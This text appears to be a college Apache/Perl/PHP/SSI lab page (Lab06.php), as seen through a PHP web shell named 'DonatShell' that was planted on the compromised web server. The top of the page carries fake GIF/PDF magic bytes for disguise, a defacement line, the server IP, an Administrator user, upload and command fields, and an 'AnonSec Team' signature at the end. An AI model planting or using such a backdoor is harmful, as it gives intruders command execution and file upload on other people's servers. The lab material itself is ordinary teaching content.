GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1611/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1611/Lab06.php.cloak
<?
// Lab06.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$evaluationNumber = '6';
$evaluationType = "";
$evaluationTitle = "Scripting Languages &amp; Server Side Includes";
$evaluationType = "Lab";
if ($evaluationType == '') $evaluationType = $evaluationType;
$evaluationTitle = $evaluationTitle;
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; $evaluationName = $evaluationType."0".$evaluationNumber; } else { 
$evaluationName = $evaluationType.$evaluationNumber; $evaluationName = $evaluationType.$evaluationNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;
$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$week = 11;

$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(array("-"," "),"",username($userId)); } else { $userFullName = str_replace(array("-"," "),"",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> Assignment</legend><span class="normal">
The purpose of this lab is to configure Apache to work with CGI (Common Gateway Interface) languages such as Perl and PHP as well as with SSI (Server Side Includes).
<!-- <br><b class="error">THIS LAB IS INCOMLETE! Do not work in it or turn it in until this notice has been revomed.</b> -->
<ol>
  <li>Create a directory called <b><?=$evaluationName?></b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> directory. We will use it for all work performed in this lab.</li>
  <li>
    
    <ol type="A">
      <li>Install Perl.
        <ol type="i">
          <li>Download the <a href="Lab06/ActivePerl-5.10.0.1004-MSWin32-x86-287188.msi">Perl installer. (ActivePerl-5.10.0.1004-MSWin32-x86-287188.msi)</a> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?>\Install</b> directory.</li>
          <li>Run the Perl installer (ActivePerl-5.10.0.1004-MSWin32-x86-287188.msi) and click <b>Next</b>.<br><img src="Lab06/perl/p1.png" /></li>
          <li>Accept the license agreement and click <b>Next</b>.<br><img src="Lab06/perl/p2.png" /></li>
<?
          if ($_SESSION['userDefaultDrive'] != 'C') {
?>
          <li>Click <b>Browse</b>.<br><img src="Lab06/perl/p3.png" /></li>
          <li>Change the drive letter to <b><?=$_SESSION['userDefaultDrive']?>:</b>, and click <b>OK</b>.<br><div style="position:relative;"><img src="Lab06/perl/p4.png" style="z-index:0;" /><div style="position:absolute; top:303px; left:100px; z-index:1"><?=$_SESSION['userDefaultDrive']?>:</div></div></li>
<?
          }
?>
          <li>Click <b>Next</b>.<br><div style="position:relative;"><img src="Lab06/perl/p5.png" style="z-index:0;" /><div style="position:absolute; top:301px; left:70px; z-index:1"><?=$_SESSION['userDefaultDrive']?>:</div></div></li>
          <li>Click <b>Next</b>.<br><img src="Lab06/perl/p6.png" /></li>
          <li>Click <b>Install</b>.<br><img src="Lab06/perl/p7.png" /></li>
          <li>Uncheck the release notes and click <b>Finish</b>.<br><img src="Lab06/perl/p8.png" /></li>
        </ol>
        Perl is now installed.
      </li>
      <li>Install mod_perl.
        <ol type="i">
          <li>Open a command line window (You must have an Internet connection for this to work).</li>
          <li>Enter the command: <b><?=$_SESSION['userDefaultDrive']?>:</b></li>
          <li>Enter the command: <b>cd \perl\bin</b></li>
          <li>Enter the command: <b>ppm install http://cpan.uwinnipeg.ca/PPMPackages/10xx/mod_perl.ppd</b></li>
          <li>When the installation is done you can close the command line window.
            <br>Here is what my command line window looked like:
            <div style="border:3px outset gray; color:white; background-color:black; font-weight:bold; padding-left:2px; width:600px;">
              Microsoft Windows XP [Version 5.1.2600]<br>
              (C) Copyright 1985-2001 Microsoft Corp.<br>
              <br>
<?
              if ($_SESSION['userDefaultDrive'] != 'C') {
?>
              C:\Documents and Settings\User&gt;<span style="color:yellow;"><?=$_SESSION['userDefaultDrive']?>:</span><br>
              <br>
              <?=$_SESSION['userDefaultDrive']?>:\><span style="color:yellow;">cd \perl\bin</span><br>
              <br>
<?
              } else {
?>
              C:\Documents and Settings\User&gt;<span style="color:yellow;">cd \perl\bin</span><br>
              <br>
<?
              }
?>
              <?=$_SESSION['userDefaultDrive']?>:\Perl\bin&gt;<span style="color:yellow;">ppm install http://cpan.uwinnipeg.ca/PPMPackages/10xx/mod_perl.ppd</span><br>
              Syncing site PPM database with .packlists...done<br>
              Downloading mod_perl-2.000004...done<br>
              Unpacking mod_perl-2.000004...done<br>
              Generating HTML for mod_perl-2.000004...done<br>
              Updating files in site area...done<br>
              Downloading mod_perl-2.000004 install script...done<br>
              Running mod_perl-2.000004 install script...<br>
              The Apache2 module mod_perl.so is needed to complete the installation,<br>
              and should be placed in your Apache2 modules directory. I will<br>
              now fetch and install this for you.<br>
              <br>
              Fetching http://cpan.uwinnipeg.ca/PPMPackages/10xx/x86/mod_perl.so ...  done!<br>
              Where should mod_perl.so be placed? [D:/Apache2.2/modules]<br>
              mod_perl.so has been successfully installed to D:/Apache2.2/modules.<br>
              To enable mod_perl, put in the directives<br>
                 LoadFile "C:/Path/to/Perl/bin/perl510.dll"<br>
                 LoadModule perl_module modules/mod_perl.so<br>
              in httpd.conf. For more information, visit<br>
                 http://perl.apache.org/<br>
              and especially see<br>
                 http://perl.apache.org/docs/2.0/rename.html<br>
              <br>
              done<br>
               474 files installed<br>
              <br>
              <?=$_SESSION['userDefaultDrive']?>:\Perl\bin><span style="color:yellow;">exit</span><br>
            </div>
          </li>
        </ol>
      </li>
      <li>Configure Apache to use mod_perl.
        <ol type="i">
          <li>Edit your Apache httpd.conf file and enter the following lines:
            <div class="bold" style="border:1px solid gray; padding-left:2px; width:600px;">
<span style="color:red; background-color:yellow;">#Lab06 - Perl</span><br>
<span style="color:blue;">LoadFile</span> <span style="color:green;">"<?=$_SESSION['userDefaultDrive']?>:/Perl/bin/perl510.dll"</span><br>
<span style="color:blue;">LoadModule</span> perl_module modules/mod_perl.so<br>
<span style="color:green;">&lt;Files ~ "\.pl$"&gt;</span><br>
&nbsp;  <span style="color:blue;">SetHandler</span> perl-script<br>
&nbsp;  <span style="color:blue;">Options</span> +ExecCGI<br>
&nbsp;  PerlHandler ModPerl::Registry<br>
&nbsp;  PerlSendHeader <span style="color:navy;">On</span><br>
<span style="color:green;">&lt;/Files&gt;</span>
            </div>
          </li>
          <li>Save your changes.</li>
        </ol>
      </li>
      <li>Verify that your Apache/mod_perl installation works.
        <ol type="i">
          <li>Stop and restart Apache.</li>
          <li>Download <a href="Lab06/HelloWorld.pl">HelloWorld.pl</a> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.</li>
          <li>Download <a href="Lab06/test.pl">test.pl</a> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.</li>
          <li>Open up a browser.</li>
          <li>Enter <b>CST1611.loc</b> in the address bar.</li>
          <li>Hit enter.</li>
          <li>Click on your <b><?=$evaluationName?></b> directory.</li>
          <li>Click on the <b>test.pl</b> file.  You should see a page similar to:<br>
          	<div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;">
          	&lt;b&gt; Perl is working! &lt;/b&gt; 
            <br>
            This dispays as a plain text file - HTML codes do not work.
            </div>
           </li>
        </ol>
        If you get an error, the browser attempts to download the file, or you see the Perl commands then your Perl configuration failed. Contact your Instructor for help.
      </li>
      <li>Reload <b>http://CST1611/Lab06/</b> in your browser and click on the <b>HelloWorld.pl</b> file.</li>
      <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-Perl.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.
      	<br>Make sure that the address bar is visible in your browser before saving the image.
      </li>
    </ol>
  </li>
  <li>Configure Apache to work with PHP.
		<ol type="A">
    	<li>Install PHP.
      	<ol type="i"><a href=""></a>
          <li>Download the <a href="../Setup/PHP/php-5.2.4-win32-installer.msi">PHP installer. (php-5.2.4-win32-installer.msi)</a> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?>\Install</b> directory.</li>
          <li>Run the PHP installer (php-5.2.4-win32-installer.msi) and click <b>Next</b>.<br><img src="Lab06/PHP/p1.png" /></li>
        	<li>Accept the license agreement and click <b>Next</b>.<br><img src="Lab06/PHP/p2.png" /></li>
        	<li>Change the Installation directory to <b><?=$_SESSION['userDefaultDrive']?>:\PHP</b>, and click <b>Next</b>.<br><div style="position:relative;"><img src="Lab06/PHP/p3.png" style="z-index:0;" /><div style="position:absolute; top:163px; left:33px; z-index:1; font-size:11px;"><?=$_SESSION['userDefaultDrive']?>:</div></div></li>
        	<li>Select the <b>Apache 2.2.x Module</b> option and click <b>Next</b>.<br><img src="Lab06/PHP/p4.png" /></li>
        	<li>Click <b>Browse</b>.<br><img src="Lab06/PHP/p5.png" /></li>
          <li>Browse to your Apache /conf directory and click <b>OK</b>.<div style="position:relative;"><img src="Lab06/PHP/p6.png" style="z-index:0;" /><div style="position:absolute; top:299px; left:42px; z-index:1; font-size:11px; color:white;"><?=$_SESSION['userDefaultDrive']?>:</div></div></li>
        	<li>Click <b>Next</b>.<br><div style="position:relative;"><img src="Lab06/PHP/p7.png" style="z-index:0;" /><div style="position:absolute; top:306px; left:122px; z-index:1; font-size:11px;"><?=$_SESSION['userDefaultDrive']?>:</div></div></li>
        	<li>Click <b>Install</b>.<br><img src="Lab06/PHP/p8.png" /></li>
        	<li>Click <b>Finish</b>.<br><img src="Lab06/PHP/p9.png" /></li>
        </ol>
        PHP is now installed. If you open your Apache <b>httpd.conf</b> file you will see that the following lines have been added:
        <div class="bold" style="border:1px solid gray; padding-left:2px; width:600px;">
<span style="color:red; background-color:yellow;">#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL</span><br>
<span style="color:blue;">PHPIniDir</span> <span style="color:green;">"D:/PHP/"</span><br>
<span style="color:blue;">LoadModule</span> php5_module <span style="color:green;">"D:/PHP/php5apache2_2.dll"</span><br>
<span style="color:red; background-color:yellow;">#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL</span><br>
        </div>
      </li>
      <li>Download <a href="Lab06/phpinfo.php">phpinfo.php</a> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.</li>
      <li>Verify that your PHP installation works.
        <ol type="i">
        	<li>Stop and restart Apache.</li>
          <li>Open up a browser.</li>
        	<li>In the address bar enter <b>CST1611.loc</i></b>.</li>
          <li>Hit enter.</li>
          <li>Click on the <b>Lab06</b>.</li>
        	<li>Click on <b>phpinfo.php</b>.  You should see a page beginning with:<br>
          	<div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;">
<style type="text/css">
.phppre {margin: 0px; font-family: monospace;}
.phptable {border-collapse: collapse;}
.phpcenter {text-align: center;}
.phpcenter .phptable { margin-left: auto; margin-right: auto; text-align: left;}
.phpcenter .phpth { text-align: center !important; }
.phptd, .phpth { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;}
.phph1 {font-family: sans-serif; font-size: 150%;}
.phph2 {font-family: sans-serif; font-size: 125%;}
.phpp {font-family: sans-serif; text-align: left;}
.phpe {background-color: #ccccff; font-weight: bold; color: #000000;}
.phph {font-family: sans-serif; background-color: #9999cc; font-weight: bold; color: #000000;}
.phpv {background-color: #cccccc; color: #000000;}
.phpvr {background-color: #cccccc; text-align: right; color: #000000;}
.phpimg {float: right; border: 0px;}
.phphr {width: 600px; background-color: #cccccc; border: 0px; height: 1px; color: #000000;}
</style>
<div class="phpcenter">
<table border="0" cellpadding="3" width="600" class="phptable">
<tr class="phph"><td class="phptd">
<a href="http://www.php.net/"><img border="0" src="http://cst.ridgewater.edu/JimMartinson/CST1611/Lab06/PHP/phpinfo.php.gif" alt="PHP Logo" class="phpimg" /></a><h1 class="phph1 phpp">PHP Version 5.2.4</h1>
</td></tr>
</table class="phptable">
<br>
<table border="0" cellpadding="3" width="600" class="phptable">
<tr><td class="phptd phpe">System </td><td class="phptd phpv"><?=str_replace("_"," ",$_ENV['OS'])?> <?=$_ENV['COMPUTERNAME']?> 5.1 build 2600 </td></tr>

<tr><td class="phptd phpe">Build Date </td><td class="phptd phpv">Aug 30 2007 07:05:48 </td></tr>
<tr><td class="phptd phpe">Configure Command </td><td class="phptd phpv">cscript /nologo configure.js  &quot;--enable-snapshot-build&quot; &quot;--with-gd=shared&quot; </td></tr>
<tr><td class="phptd phpe">Server API </td><td class="phptd phpv">Apache 2.0 Handler </td></tr>
<tr><td class="phptd phpe">Virtual Directory Support </td><td class="phptd phpv">enabled </td></tr>
<tr><td class="phptd phpe">Configuration File (php.ini) Path </td><td class="phptd phpv"><?=$_ENV['SystemRoot']?> </td></tr>

<tr><td class="phptd phpe">Loaded Configuration File </td><td class="phptd phpv"><?=$_SESSION['userDefaultDrive']?>:\PHP\php.ini </td></tr>
<tr><td class="phptd phpe">PHP API </td><td class="phptd phpv">20041225 </td></tr>
<tr><td class="phptd phpe">PHP Extension </td><td class="phptd phpv">20060613 </td></tr>
<tr><td class="phptd phpe">Zend Extension </td><td class="phptd phpv">220060519 </td></tr>
<tr><td class="phptd phpe">Debug Build </td><td class="phptd phpv">no </td></tr>
<tr><td class="phptd phpe">Thread Safety </td><td class="phptd phpv">enabled </td></tr>

<tr><td class="phptd phpe">Zend Memory Manager </td><td class="phptd phpv">enabled </td></tr>
<tr><td class="phptd phpe">IPv6 Support </td><td class="phptd phpv">enabled </td></tr>
<tr><td class="phptd phpe">Registered PHP Streams </td><td class="phptd phpv">php, file, data, http, ftp, compress.zlib   </td></tr>
<tr><td class="phptd phpe">Registered Stream Socket Transports </td><td class="phptd phpv">tcp, udp </td></tr>
<tr><td class="phptd phpe">Registered Stream Filters </td><td class="phptd phpv">convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, zlib.* </td></tr>
</table>
</div>
            </div>
          </li>
        </ol>
        If you get an error, the browser attempts to download the file, or you see the PHP commands then your PHP installation failed. Contact your Instructor for help.
      </li>
      <li>Take a screen shot of the <b>phpinfo.php</b> page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-PHP.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.
      	<br>Make sure that the address bar is visible in your browser before saving the image.</li>
    </ol>
  </li>






      </li>
      <li>Verify that your SSI configuration works.
        <ol type="i">
        	<li>Stop and restart Apache.</li>
          <li>Open up a browser.</li>
        	<li>In the address bar enter <b>CST1611.loc</i></b>.</li>
          <li>Hit enter.</li>
          <li>Click on the <b>Lab06</b>.</li>
        	<li>Click on <b>ssi.shtml</b>.  You should see a page beginning with:<br>
          	<div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;">
<h3>
Sample SSI commands are shown below.<br>
The SSI command is first shown in <span style="color:blue;">blue</span>.<br>
Followed by the output in black.<br>
Comments are in <span style="color:red;">red</span>.
</h3>
<p>
<span style="color:blue;">
&lt;!--#echo var="DATE_LOCAL" --&gt;
<br>
</span>
<!-- Monday, 03-Nov-2008 22:10:23 Central Standard Time -->
<? echo date('l, d-M-Y H:i:s'),' Central Standard Time',"\n"; ?>
<br>
<br>
<span style="color:blue;">
&lt;!--#config timefmt="%A %B %d, %Y" --&gt;<br>
Today is &lt;!--#echo var="DATE_LOCAL" --&gt;
<br>
</span>
<!--#config timefmt="%A %B %d, %Y" -->
<!-- Today is Monday November 03, 2008  -->
<? echo 'Today is ',date('l, F M, Y'),"\n"; ?>
<br>
<br>
<span style="color:blue;">
This document last modified &lt;!--#flastmod file="ssi.shtml" --&gt;
<br>
</span>
This document last modified Sunday August 24, 2008 
<br>
<br>
<span style="color:blue;">
&lt;!--#include virtual="ssi_include.htm" --&gt;
<br>
</span>
<span style="font-weight:bold;">This is the ssi.include file that was inserted into the document with the SSI <b>&lt;!--#include virtual="ssi.include" --&gt;</b> command.</span>
<br>
<br>
<span style="color:blue;">
&lt;pre&gt;<br>
&lt;!--#exec cmd="c:\Windows\system32\cmd.exe /c dir" --&gt;<br>
&lt;/pre&gt;
<br>
</span>
<pre style="font-size:12px;">
[an error occurred while processing this directive]
</pre>
<span style="color:red;">
The #exec directive does not work in Windows! Even if it executes output is not returned and any command executed does not have any system rights. Fortunately you can use Perl or PHP scripts to execute Windows commands.
<br>
I have an example Perl file. If you want to test it: Download <a href="http://cst.ridgewater.edu/JimMartinson/CST1611/Lab06/Perl_Windows_command_example.pl">Perl_Windows_command_example.pl</a>, save it in your <b>Lab06</b> directory, and load it in your browser.
<br>
I also have an example PHP file. If you want to test it: Download <a href="http://cst.ridgewater.edu/JimMartinson/CST1611/Lab06/PHP_Windows_command_example.php">PHP_Windows_command_example.php</a>, save it in your <b>Lab06</b> directory, and load it in your browser.
</span>
            </div>
          </li>
        </ol>
        If you get a blank page, the browser attempts to download the file, or none of the SSI commands seem to work then your SSI configuration failed. Contact your Instructor for help.
      </li>
      <li>Take a screen shot of the <b>ssi.shtml</b> page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-SSI.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.
      	<br>Make sure that the address bar is visible in your browser before saving the image.</li>
    </ol>
  </li>
  <li>Turn in <b><?=$evaluationName?></b> for grading.
    <ol type="A">
      <li>Copy your Apache <b>httpd.conf</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.</li>
      <li>Copy your <b>C:\Windows\system32\drivers\etc\hosts</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.</li>
      <li>Zip up your Data_WWW directory into a file named <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b>.</li>
      <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b>CST1611 - <?=$evaluationName?> Submission</b> and attach your <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b> file.</li>
    </ol>
  </li>
</ol>
<b>EXTRAS:</b><br>
I have written an example Perl script that performs the function of the broken SSI #exec command. 
If you want to take a look at it, download <b><a href="Lab06/Perl_Windows_command_example.pl">Perl_Windows_command_example.pl</a></b> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory. Then open it in your browser.
<br>
I have written an example PHP script that performs the function of the broken SSI #exec command. 
If you want to take a look at it, download <b><a href="Lab06/PHP_Windows_command_example.php">PHP_Windows_command_example.php</a></b> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory. Then open it in your browser.
</span>
</fieldset>

<fieldset><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 10 points.
<br>
There are some things I expect. If they are incorrect you will lose the following:
<br>
Incorrect attachment file name: -1 pt.
<br>
Work submitted incorrectly: -1pt.
<br>
Incorrect subject in email: -1pt.
<br>
Second and subsequent submission of work for grading: -1pt.
<br>
Work submitted late: -1pt per week.
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('Notes/notes.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
#setDebugOn();
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team